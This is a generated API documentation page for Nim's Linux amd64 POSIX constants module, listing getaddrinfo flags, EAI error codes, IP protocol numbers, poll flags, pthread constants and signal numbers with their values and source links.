[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L278) ``` NO_RECOVERY = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L279) ``` TRY_AGAIN = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L280) ``` AI_PASSIVE = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L281) ``` AI_CANONNAME = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L282) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L282) ``` AI_NUMERICHOST = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L283) ``` AI_NUMERICSERV = 1024'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L284) ``` AI_V4MAPPED = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L285) ``` AI_ALL = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L286) ``` AI_ADDRCONFIG = 32'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L287) ``` NI_NOFQDN = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L288) ``` NI_NUMERICHOST = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L289) ``` NI_NAMEREQD = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L290) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L290) ``` NI_NUMERICSERV = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L291) ``` NI_DGRAM = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L292) ``` EAI_AGAIN = -3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L293) ``` EAI_BADFLAGS = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L294) ``` EAI_FAIL = -4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L295) ``` EAI_FAMILY = -6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L296) ``` EAI_MEMORY = -10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L297) ``` EAI_NONAME = -2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L298) ``` EAI_SERVICE = -8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L299) ``` EAI_SOCKTYPE = -7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L300) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L300) ``` EAI_SYSTEM = -11'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L301) ``` EAI_OVERFLOW = -12'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L302) ``` IF_NAMESIZE = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L305) ``` IPPROTO_IP = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L308) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L308) ``` IPPROTO_IPV6 = 41'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L309) ``` IPPROTO_ICMP = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L310) ``` IPPROTO_ICMPV6 = 58'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L311) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L311) ``` IPPROTO_RAW = 255'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L312) ``` IPPROTO_TCP = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L313) ``` IPPROTO_UDP = 17'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L314) ``` INADDR_ANY = 0'u ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L315) ``` INADDR_LOOPBACK = 2130706433'u ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L316) ``` INADDR_BROADCAST = 4294967295'u ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L317) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L317) ``` INET_ADDRSTRLEN = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L318) ``` INET6_ADDRSTRLEN = 46'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L319) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L319) ``` IPV6_JOIN_GROUP = 20'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L320) ``` IPV6_LEAVE_GROUP = 21'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L321) ``` IPV6_MULTICAST_HOPS = 18'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L322) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L322) ``` IPV6_MULTICAST_IF = 17'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L323) ``` IPV6_MULTICAST_LOOP = 19'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L324) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L324) ``` IPV6_UNICAST_HOPS = 16'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L325) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L325) ``` IPV6_V6ONLY = 26'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L326) ``` TCP_NODELAY = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L329) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L329) ``` NL_SETD = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L332) ``` NL_CAT_LOCALE = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L333) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L333) ``` POLLIN = 1'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L336) ``` POLLRDNORM = 64'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L337) ``` POLLRDBAND = 128'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L338) ``` POLLPRI = 2'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L339) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L339) ``` POLLOUT = 4'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L340) ``` POLLWRNORM = 256'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L341) ``` POLLWRBAND = 512'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L342) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L342) ``` POLLERR = 8'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L343) ``` POLLHUP = 16'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L344) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L344) ``` POLLNVAL = 32'i16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L345) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L345) ``` PTHREAD_BARRIER_SERIAL_THREAD = -1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L348) ``` PTHREAD_CANCEL_ASYNCHRONOUS = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L349) ``` PTHREAD_CANCEL_ENABLE = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L350) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L350) ``` PTHREAD_CANCEL_DEFERRED = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L351) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L351) ``` PTHREAD_CANCEL_DISABLE = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L352) ``` PTHREAD_CREATE_DETACHED = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L353) ``` PTHREAD_CREATE_JOINABLE = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L354) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L354) ``` PTHREAD_EXPLICIT_SCHED = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L355) ``` PTHREAD_INHERIT_SCHED = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L356) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L356) ``` PTHREAD_PROCESS_SHARED = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L357) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L357) ``` PTHREAD_PROCESS_PRIVATE = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L358) ``` PTHREAD_SCOPE_PROCESS = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L359) ``` PTHREAD_SCOPE_SYSTEM = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L360) ``` SCHED_FIFO = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L363) ``` SCHED_RR = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L364) ``` SCHED_OTHER = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L365) ``` SEM_FAILED = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L368) ``` SIGEV_NONE = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L371) ``` SIGEV_SIGNAL = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L372) ``` SIGEV_THREAD = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L373) ``` SIGABRT = 6'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L374) ``` SIGALRM = 14'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L375) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L375) ``` SIGBUS = 7'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L376) ``` SIGCHLD = 17'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L377) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L377) ``` SIGCONT = 18'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L378) ``` SIGFPE = 8'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L379) ``` SIGHUP = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L380) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L380) ``` SIGILL = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L381) ``` SIGINT = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L382) ``` SIGKILL = 9'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L383) ``` SIGPIPE = 13'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L384) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L384) ``` SIGQUIT = 3'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L385) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L385) ``` SIGSEGV = 11'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L386) ``` SIGSTOP = 19'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L387) ``` SIGTERM = 15'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L388) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L388) ``` SIGTSTP = 20'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L389) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L389) ``` SIGTTIN = 21'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L390) ``` SIGTTOU = 22'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L391) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L391) ``` SIGUSR1 = 10'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L392) ``` SIGUSR2 = 12'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L393) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L393) ``` SIGPOLL = 29'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L394) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L394) ``` SIGPROF = 27'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L395) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L395) ``` SIGSYS = 31'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L396) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L396) ``` SIGTRAP = 5'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L397) ``` SIGURG = 23'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L398) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L398) ``` SIGVTALRM = 26'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L399) ``` SIGXCPU = 24'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L400) ``` SIGXFSZ = 25'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L401) ``` SA_NOCLDSTOP = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L402) ``` SIG_BLOCK = 0'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L403) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L403) ``` SIG_UNBLOCK = 1'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L404) ``` SIG_SETMASK = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L405) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L405) ``` SA_ONSTACK = 134217728'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L406) ``` SA_RESETHAND = -2147483648'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L407) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L407) ``` SA_RESTART = 268435456'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L408) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L408) ``` SA_SIGINFO = 4'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L409) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L409) ``` SA_NOCLDWAIT = 2'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L410) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L410) ``` SA_NODEFER = 1073741824'i32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix_linux_amd64_consts.nim#L411) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix_linux_amd64_consts.nim#L411) ``` SS_ONSTACK = 1'i32 ``` 